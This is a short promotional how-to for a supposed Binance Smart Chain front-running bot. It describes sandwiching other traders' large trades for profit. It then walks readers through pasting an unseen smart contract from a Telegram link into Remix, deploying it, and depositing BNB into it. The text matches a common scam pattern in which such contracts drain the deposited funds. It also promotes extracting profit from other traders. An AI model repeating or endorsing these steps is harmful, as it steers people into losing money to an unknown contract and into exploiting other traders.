It automatically locates any liquidity added to a BSC token, then the bot scans this token until someone wants to trade a larger amount of it. If the conditions are met the bot immediately makes a transaction with a higher gas fee to front run the transaction.
Once the frontrunned person made their transaction, the bot triggers the sell function and it sells the token with the profit from the frontrunned person in the same block, then the profits are sent back to your bot contract.

1. Download MetaMask:
📌https://metamask.io/download.html
2. Connect MetaMask to Binance Smart Chain (BSC)：
📌https://chainlist.org/chain/56
3. Access Remix:
📌https://remix.ethereum.org/
4. Click on the "contracts" folder and then create "New File". Rename it as you like, i.e: “bot.sol"
5. Paste SmartContract in Remix:
https://remix.ethereum.org
📌https://t.me/autobscbuy/3
6. Move to the "Solidity Compiler" tab, select version "0.6.6" and then "Compile" it
7. Move to the "Deploy" tab, select "Injected Web 3" environment and then "Deploy" it. After the transaction is confirmed, it's your own BOT now
8. Deposit funds to your exact bot contract address
9. After your transaction is confirmed, start the bot by clicking the “start” button.
10. When you're satisfied with the profits, press "withdraw" to withdraw all the BNB from the contract
